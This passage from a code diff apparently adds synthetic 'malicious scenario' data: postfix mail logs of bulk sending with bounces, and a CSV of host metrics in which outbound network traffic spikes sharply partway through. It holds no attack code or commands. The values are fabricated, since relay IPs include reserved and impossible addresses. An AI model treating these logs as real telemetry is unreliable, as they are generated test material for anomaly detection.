5.1.1 User unknown) +Aug 08 15:23:47 server postfix/smtp[17112]: 39D7EAFB50: to=, from=, relay=aspmx.l.google.com[166.131.174.107]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:51 server postfix/smtp[17114]: 13D5384D11: to=, from=, relay=aspmx.l.google.com[39.106.174.5]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:52 server postfix/smtp[17113]: B735BE3C51: to=, from=, relay=aspmx.l.google.com[141.183.188.47]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:52 server postfix/smtp[17115]: C723553503: to=, from=, relay=aspmx.l.google.com[83.18.84.48]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:56 server postfix/smtp[17117]: 5C7EEEDD0F: to=, from=, relay=aspmx.l.google.com[234.215.210.217]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:57 server postfix/smtp[17118]: 61CCAC6F95: to=, from=, relay=web-host.org[29.206.46.229]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:23:58 server postfix/smtp[17116]: 3E4AAFF012: to=, from=, relay=user-mail.info[26.41.32.213]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:23:59 server postfix/smtp[17119]: 003960EA5E: to=, from=, relay=aspmx.l.google.com[59.157.158.136]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:02 server postfix/smtp[17121]: D3468B0737: to=, from=, relay=aspmx.l.google.com[188.227.130.223]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:03 server postfix/smtp[17120]: 96965A7EF0: to=, from=, relay=aspmx.l.google.com[80.154.152.206]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:04 server postfix/smtp[17122]: 019CDBC736: to=, from=, relay=aspmx.l.google.com[241.10.107.196]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:05 server postfix/smtp[17124]: 4F0883C4D3: to=, from=, relay=mailservice.net[132.94.129.248]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:24:06 server postfix/smtp[17125]: F908A54CB0: to=, from=, relay=aspmx.l.google.com[176.21.65.163]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:07 server postfix/smtp[17123]: 73EC4DEC65: to=, from=, relay=mailservice.net[205.79.203.95]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:24:10 server postfix/smtp[17128]: 212184DCD5: to=, from=, relay=aspmx.l.google.com[6.241.144.7]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:12 server postfix/smtp[17126]: 8508A489B3: to=, from=, relay=aspmx.l.google.com[66.129.178.181]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:14 server postfix/smtp[17127]: 43F3995988: to=, from=, relay=user-mail.info[164.38.128.8]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:24:17 server postfix/smtp[17131]: 0CF5DE424B: to=, from=, relay=aspmx.l.google.com[96.218.135.19]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:18 server postfix/smtp[17129]: 3FFAA0778C: to=, from=, relay=aspmx.l.google.com[11.230.173.197]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:18 server postfix/smtp[17130]: EBB07835A7: to=, from=, relay=example.com[89.245.179.185]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:24:18 server postfix/smtp[17133]: BEF1E3DE2E: to=, from=, relay=example.com[165.208.238.227]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:24:19 server postfix/smtp[17132]: B9A73BB215: to=, from=, relay=aspmx.l.google.com[10.26.142.54]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:23 server postfix/smtp[17134]: 9F55246FA9: to=, from=, relay=aspmx.l.google.com[219.186.44.38]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:23 server postfix/smtp[17135]: F5CD3BE6D6: to=, from=, relay=web-host.org[80.53.46.3]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:24:26 server postfix/smtp[17140]: 1742360144: to=, from=, relay=aspmx.l.google.com[95.164.99.126]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:27 server postfix/smtp[17137]: BDA73F57FE: to=, from=, relay=user-mail.info[56.134.222.84]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:24:27 server postfix/smtp[17138]: 0CE1383C46: to=, from=, relay=aspmx.l.google.com[160.139.246.253]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:27 server postfix/smtp[17139]: F8E4A42590: to=, from=, relay=business.biz[173.191.226.156]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:24:29 server postfix/smtp[17136]: AC84A05415: to=, from=, relay=aspmx.l.google.com[72.178.18.89]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:30 server postfix/smtp[17142]: 3272205EDA: to=, from=, relay=aspmx.l.google.com[247.198.143.254]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:30 server postfix/smtp[17144]: 6110571DDB: to=, from=, relay=aspmx.l.google.com[111.7.126.19]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:32 server postfix/smtp[17141]: 4B9276F90B: to=, from=, relay=aspmx.l.google.com[213.65.113.68]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:33 server postfix/smtp[17143]: 1B4C7CC42C: to=, from=, relay=aspmx.l.google.com[185.111.193.180]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:35 server postfix/smtp[17146]: A8413F629C: to=, from=, relay=aspmx.l.google.com[105.174.223.50]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:36 server postfix/smtp[17145]: 8ABF0F478B: to=, from=, relay=aspmx.l.google.com[90.165.187.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:36 server postfix/smtp[17148]: 2752937147: to=, from=, relay=aspmx.l.google.com[193.48.206.3]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:39 server postfix/smtp[17147]: AA45463854: to=, from=, relay=aspmx.l.google.com[132.127.40.245]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:40 server postfix/smtp[17150]: 06043DE8EF: to=, from=, relay=aspmx.l.google.com[140.49.126.125]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:40 server postfix/smtp[17151]: 480C9DF35A: to=, from=, relay=aspmx.l.google.com[18.160.22.227]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:40 server postfix/smtp[17153]: 13499B19ED: to=, from=, relay=aspmx.l.google.com[111.210.3.106]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:41 server postfix/smtp[17149]: 4FB089C9D3: to=, from=, relay=aspmx.l.google.com[218.25.75.152]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:44 server postfix/smtp[17152]: FB04D10F59: to=, from=, relay=aspmx.l.google.com[200.5.57.76]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:45 server postfix/smtp[17156]: 603D19E01D: to=, from=, relay=aspmx.l.google.com[243.57.64.132]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:46 server postfix/smtp[17154]: C796B48CF5: to=, from=, relay=aspmx.l.google.com[107.57.53.5]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:46 server postfix/smtp[17158]: D48BB6D387: to=, from=, relay=example.com[56.90.210.17]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:24:47 server postfix/smtp[17155]: CD7F7284F5: to=, from=, relay=aspmx.l.google.com[91.91.37.198]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:49 server postfix/smtp[17157]: 2247E95272: to=, from=, relay=aspmx.l.google.com[249.175.7.214]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:50 server postfix/smtp[17162]: 613502A905: to=, from=, relay=aspmx.l.google.com[107.11.124.7]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:52 server postfix/smtp[17161]: 9631E6C27B: to=, from=, relay=aspmx.l.google.com[136.51.47.48]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:53 server postfix/smtp[17159]: 321EA40CAC: to=, from=, relay=user-mail.info[10.209.101.169]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:24:53 server postfix/smtp[17163]: 95B909B5CB: to=, from=, relay=mailservice.net[216.159.76.186]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:24:54 server postfix/smtp[17160]: 719E71F9D2: to=, from=, relay=aspmx.l.google.com[156.195.192.92]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:55 server postfix/smtp[17165]: F3063B5A02: to=, from=, relay=aspmx.l.google.com[49.219.116.181]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:57 server postfix/smtp[17164]: 0B54D1474E: to=, from=, relay=aspmx.l.google.com[192.26.97.64]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:57 server postfix/smtp[17166]: B026E6B560: to=, from=, relay=aspmx.l.google.com[179.56.85.136]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:24:58 server postfix/smtp[17167]: 101FB585F0: to=, from=, relay=aspmx.l.google.com[5.96.128.210]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:00 server postfix/smtp[17169]: 26CA4104B0: to=, from=, relay=user-mail.info[54.100.5.28]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:00 server postfix/smtp[17171]: F3B07545AD: to=, from=, relay=web-host.org[86.217.129.158]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:01 server postfix/smtp[17170]: F38EF19895: to=, from=, relay=aspmx.l.google.com[53.77.146.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:02 server postfix/smtp[17168]: B0FCB52221: to=, from=, relay=aspmx.l.google.com[20.153.162.40]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:02 server postfix/smtp[17172]: 984093E832: to=, from=, relay=aspmx.l.google.com[195.5.60.122]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:06 server postfix/smtp[17174]: 96DCC054E0: to=, from=, relay=aspmx.l.google.com[109.141.239.167]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:07 server postfix/smtp[17173]: 1BF0A51842: to=, from=, relay=user-mail.info[236.87.51.15]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:07 server postfix/smtp[17175]: F2E11C41AF: to=, from=, relay=business.biz[88.187.174.172]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:10 server postfix/smtp[17176]: A75BBB6077: to=, from=, relay=example.com[145.165.106.24]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:25:10 server postfix/smtp[17179]: 8B55DF435F: to=, from=, relay=aspmx.l.google.com[103.47.130.185]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:11 server postfix/smtp[17178]: 2CB3054DB3: to=, from=, relay=business.biz[213.109.188.171]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:12 server postfix/smtp[17180]: 9FD940C037: to=, from=, relay=example.com[34.202.236.194]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:25:14 server postfix/smtp[17177]: E75A7D612C: to=, from=, relay=aspmx.l.google.com[3.84.164.88]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:17 server postfix/smtp[17183]: 8DCFAA32D7: to=, from=, relay=aspmx.l.google.com[182.129.169.177]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:18 server postfix/smtp[17182]: C5FADBDCF0: to=, from=, relay=aspmx.l.google.com[178.161.56.248]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:18 server postfix/smtp[17184]: 07B1EC5C1B: to=, from=, relay=user-mail.info[211.117.213.215]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:25:19 server postfix/smtp[17181]: E390BE4FF4: to=, from=, relay=aspmx.l.google.com[55.216.66.126]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:21 server postfix/smtp[17186]: 046B89AF4E: to=, from=, relay=aspmx.l.google.com[110.72.159.157]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:21 server postfix/smtp[17188]: 8CE5ECA481: to=, from=, relay=user-mail.info[146.26.118.21]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:22 server postfix/smtp[17187]: 95C074E49B: to=, from=, relay=mailservice.net[29.50.70.84]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:25:24 server postfix/smtp[17185]: C15B28E8BD: to=, from=, relay=aspmx.l.google.com[130.30.18.145]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:26 server postfix/smtp[17189]: 5F216E0883: to=, from=, relay=mailservice.net[7.192.215.226]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:26 server postfix/smtp[17190]: 27CC167113: to=, from=, relay=aspmx.l.google.com[85.130.167.15]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:26 server postfix/smtp[17191]: C08BFB9A1E: to=, from=, relay=mailservice.net[248.175.163.77]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:30 server postfix/smtp[17192]: 88299B7A6A: to=, from=, relay=aspmx.l.google.com[242.219.164.17]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:32 server postfix/smtp[17193]: B2C43DAA62: to=, from=, relay=aspmx.l.google.com[60.233.84.188]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:35 server postfix/smtp[17194]: 1961839318: to=, from=, relay=web-host.org[141.80.218.141]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:35 server postfix/smtp[17195]: F977F554BE: to=, from=, relay=aspmx.l.google.com[83.99.34.121]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:35 server postfix/smtp[17198]: 5A6E87C400: to=, from=, relay=user-mail.info[13.55.173.230]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:38 server postfix/smtp[17196]: 706D41BB05: to=, from=, relay=user-mail.info[210.158.9.129]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:38 server postfix/smtp[17197]: 9D3109DDD9: to=, from=, relay=aspmx.l.google.com[68.210.230.154]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:44 server postfix/smtp[17199]: 7A44B4E7BB: to=, from=, relay=aspmx.l.google.com[190.54.25.206]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:44 server postfix/smtp[17200]: 2404C33F5D: to=, from=, relay=web-host.org[108.59.129.197]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:25:44 server postfix/smtp[17201]: 3756F6BAA2: to=, from=, relay=aspmx.l.google.com[195.176.21.204]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:45 server postfix/smtp[17203]: 5415C19771: to=, from=, relay=aspmx.l.google.com[95.145.184.251]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:46 server postfix/smtp[17204]: 16F6E671B5: to=, from=, relay=aspmx.l.google.com[63.143.30.132]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:49 server postfix/smtp[17202]: F69756FFFC: to=, from=, relay=aspmx.l.google.com[75.157.114.240]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:50 server postfix/smtp[17206]: FE0DED3460: to=, from=, relay=aspmx.l.google.com[41.44.29.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:50 server postfix/smtp[17207]: FC71E5ECD4: to=, from=, relay=aspmx.l.google.com[254.102.91.26]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:52 server postfix/smtp[17205]: 9D2D343126: to=, from=, relay=aspmx.l.google.com[51.170.215.212]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:52 server postfix/smtp[17208]: 9C1FE3178B: to=, from=, relay=aspmx.l.google.com[107.82.176.172]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:52 server postfix/smtp[17209]: 3C353C1627: to=, from=, relay=web-host.org[233.54.48.123]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:25:55 server postfix/smtp[17211]: 5FDC5DB989: to=, from=, relay=aspmx.l.google.com[21.131.159.176]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:56 server postfix/smtp[17213]: 955C21062B: to=, from=, relay=aspmx.l.google.com[33.146.69.54]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:58 server postfix/smtp[17214]: 1E05F472D2: to=, from=, relay=aspmx.l.google.com[187.32.236.85]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:59 server postfix/smtp[17210]: D09EFDCBDF: to=, from=, relay=aspmx.l.google.com[209.21.187.205]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:25:59 server postfix/smtp[17212]: D560E9D911: to=, from=, relay=aspmx.l.google.com[143.207.172.92]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:00 server postfix/smtp[17216]: 6CDAA4A47C: to=, from=, relay=aspmx.l.google.com[188.39.69.8]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:02 server postfix/smtp[17215]: F6B57D5734: to=, from=, relay=aspmx.l.google.com[1.140.249.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:07 server postfix/smtp[17217]: D3061572EC: to=, from=, relay=aspmx.l.google.com[135.89.223.3]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:09 server postfix/smtp[17218]: DEDCECA97D: to=, from=, relay=aspmx.l.google.com[1.71.39.3]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:12 server postfix/smtp[17220]: 31A6A7EEB6: to=, from=, relay=user-mail.info[134.67.94.242]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:26:14 server postfix/smtp[17219]: 251627069F: to=, from=, relay=aspmx.l.google.com[43.66.25.132]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:15 server postfix/smtp[17221]: 76C676A102: to=, from=, relay=mailservice.net[27.212.11.102]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:26:16 server postfix/smtp[17224]: BC0698CEB2: to=, from=, relay=aspmx.l.google.com[105.196.65.70]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:17 server postfix/smtp[17222]: 7F89FC84AE: to=, from=, relay=business.biz[108.107.142.188]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:26:18 server postfix/smtp[17223]: F691F4A6E9: to=, from=, relay=aspmx.l.google.com[65.235.159.55]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:19 server postfix/smtp[17225]: 5D613A238D: to=, from=, relay=aspmx.l.google.com[126.177.115.204]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:20 server postfix/smtp[17226]: D1E8A63B93: to=, from=, relay=aspmx.l.google.com[31.71.184.19]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:22 server postfix/smtp[17228]: 2998207A36: to=, from=, relay=aspmx.l.google.com[160.243.222.229]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:23 server postfix/smtp[17227]: 3A8D125016: to=, from=, relay=aspmx.l.google.com[201.45.3.178]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:27 server postfix/smtp[17229]: 7E67F41EC0: to=, from=, relay=aspmx.l.google.com[37.116.144.20]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:27 server postfix/smtp[17230]: D72528F563: to=, from=, relay=aspmx.l.google.com[172.166.219.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:26:27 server postfix/smtp[17231]: 031A227979: to=, from=, relay=aspmx.l.google.com[30.158.120.32]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_5.csv b/mali_dataset/scenario_5/mali_5_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..753a53021b9681922561d47194e784d9017f0e1f --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-05T14:20:00Z,12.51,41.39,21.99,0.87,1.63 +2025-08-05T14:20:05Z,18.72,43.91,18.41,1.01,1.42 +2025-08-05T14:20:10Z,17.09,43.68,21.86,1.44,1.41 +2025-08-05T14:20:15Z,11.64,35.33,22.1,0.53,2.41 +2025-08-05T14:20:20Z,12.64,41.58,20.76,1.01,1.37 +2025-08-05T14:20:25Z,11.82,35.5,24.64,0.61,2.41 +2025-08-05T14:20:30Z,15.58,40.35,16.43,0.63,1.09 +2025-08-05T14:20:35Z,11.99,42.02,20.72,1.01,1.62 +2025-08-05T14:20:40Z,15.42,37.97,22.64,1.33,2.33 +2025-08-05T14:20:45Z,16.44,41.74,18.14,1.16,1.82 +2025-08-05T14:20:50Z,16.36,39.5,19.26,0.61,2.14 +2025-08-05T14:20:55Z,10.1,40.21,22.74,0.91,1.53 +2025-08-05T14:21:00Z,19.21,41.24,21.01,0.96,1.95 +2025-08-05T14:21:05Z,13.45,43.77,22.58,0.69,1.21 +2025-08-05T14:21:10Z,17.12,44.06,22.92,1.13,1.46 +2025-08-05T14:21:15Z,15.8,36.53,18.8,0.71,1.01 +2025-08-05T14:21:20Z,13.66,36.96,19.24,0.99,1.83 +2025-08-05T14:21:25Z,18.0,41.52,19.01,1.08,2.38 +2025-08-05T14:21:30Z,12.19,40.44,16.1,1.44,2.48 +2025-08-05T14:21:35Z,16.0,41.31,23.92,0.94,1.59 +2025-08-05T14:21:40Z,41.5,41.81,22.96,1.33,39.66 +2025-08-05T14:21:45Z,33.46,41.87,20.94,1.7,43.68 +2025-08-05T14:21:50Z,62.97,43.99,29.58,0.88,24.92 +2025-08-05T14:21:55Z,40.05,46.94,23.74,1.54,20.56 +2025-08-05T14:22:00Z,34.77,48.64,22.64,1.94,45.62 +2025-08-05T14:22:05Z,47.6,46.31,21.49,1.32,42.3 +2025-08-05T14:22:10Z,43.22,47.46,23.25,1.03,27.2 +2025-08-05T14:22:15Z,42.76,42.52,27.54,0.57,33.19 +2025-08-05T14:22:20Z,30.36,46.39,23.16,1.45,26.39 +2025-08-05T14:22:25Z,50.21,44.69,20.37,1.16,45.09 +2025-08-05T14:22:30Z,62.08,46.95,24.42,1.82,37.62 +2025-08-05T14:22:35Z,69.54,44.63,29.3,1.72,47.52 +2025-08-05T14:22:40Z,33.03,45.34,19.43,1.56,30.1 +2025-08-05T14:22:45Z,48.35,40.22,21.67,1.0,40.08 +2025-08-05T14:22:50Z,67.59,43.45,27.15,0.68,24.84 +2025-08-05T14:22:55Z,41.03,47.76,22.98,0.51,25.68 +2025-08-05T14:23:00Z,42.58,49.56,26.64,1.94,44.74 +2025-08-05T14:23:05Z,40.48,42.11,20.54,1.06,37.21 +2025-08-05T14:23:10Z,59.41,45.86,28.03,1.37,38.6 +2025-08-05T14:23:15Z,67.64,49.02,19.4,1.18,47.57 +2025-08-05T14:23:20Z,25.0,44.8,18.64,1.26,41.48 +2025-08-05T14:23:25Z,55.02,45.55,29.07,0.85,40.39 +2025-08-05T14:23:30Z,44.73,41.01,28.96,1.5,28.88 +2025-08-05T14:23:35Z,29.26,47.42,24.58,1.85,23.1 +2025-08-05T14:23:40Z,41.56,46.7,21.91,1.78,38.96 +2025-08-05T14:23:45Z,54.56,48.6,29.39,0.66,45.48 +2025-08-05T14:23:50Z,35.86,46.35,28.44,1.6,44.11 +2025-08-05T14:23:55Z,68.66,41.54,24.7,0.69,27.08 +2025-08-05T14:24:00Z,23.95,49.99,18.36,0.67,31.42 +2025-08-05T14:24:05Z,65.57,45.01,21.61,0.58,41.62 +2025-08-05T14:24:10Z,72.24,42.89,18.53,0.83,22.55 +2025-08-05T14:24:15Z,61.29,40.2,18.6,1.55,41.28 +2025-08-05T14:24:20Z,62.96,48.68,19.56,1.23,27.24 +2025-08-05T14:24:25Z,26.97,40.14,21.01,0.98,44.93 +2025-08-05T14:24:30Z,42.52,48.03,26.37,1.02,26.61 +2025-08-05T14:24:35Z,66.87,41.95,18.58,0.92,37.99 +2025-08-05T14:24:40Z,29.12,44.01,23.37,0.99,41.53 +2025-08-05T14:24:45Z,46.61,44.86,28.52,1.92,42.11 +2025-08-05T14:24:50Z,20.32,48.54,21.47,0.96,26.61 +2025-08-05T14:24:55Z,54.15,44.76,29.25,0.74,32.15 +2025-08-05T14:25:00Z,52.7,47.85,27.79,1.32,24.92 +2025-08-05T14:25:05Z,40.16,47.99,20.57,1.76,20.97 +2025-08-05T14:25:10Z,59.53,44.54,27.24,0.76,41.78 +2025-08-05T14:25:15Z,36.56,41.91,28.03,1.21,45.13 +2025-08-05T14:25:20Z,24.16,42.8,21.69,1.3,21.21 +2025-08-05T14:25:25Z,31.97,44.72,26.04,0.99,38.62 +2025-08-05T14:25:30Z,66.02,48.13,27.04,0.85,28.07 +2025-08-05T14:25:35Z,24.82,43.79,28.52,1.79,25.93 +2025-08-05T14:25:40Z,51.95,46.07,28.19,0.61,23.43 +2025-08-05T14:25:45Z,55.58,43.33,22.56,1.52,34.42 +2025-08-05T14:25:50Z,25.77,47.53,27.26,1.83,22.33 +2025-08-05T14:25:55Z,69.35,45.4,25.35,1.21,29.76 +2025-08-05T14:26:00Z,31.82,40.99,20.16,0.84,29.76 +2025-08-05T14:26:05Z,45.61,49.17,23.17,0.65,28.86 +2025-08-05T14:26:10Z,42.12,48.87,27.18,1.62,23.23 +2025-08-05T14:26:15Z,48.25,49.61,21.85,0.83,42.45 +2025-08-05T14:26:20Z,58.97,45.74,28.41,0.65,41.01 +2025-08-05T14:26:25Z,45.21,41.58,29.76,1.29,30.86 +2025-08-05T14:26:30Z,60.25,44.21,22.19,0.78,44.74 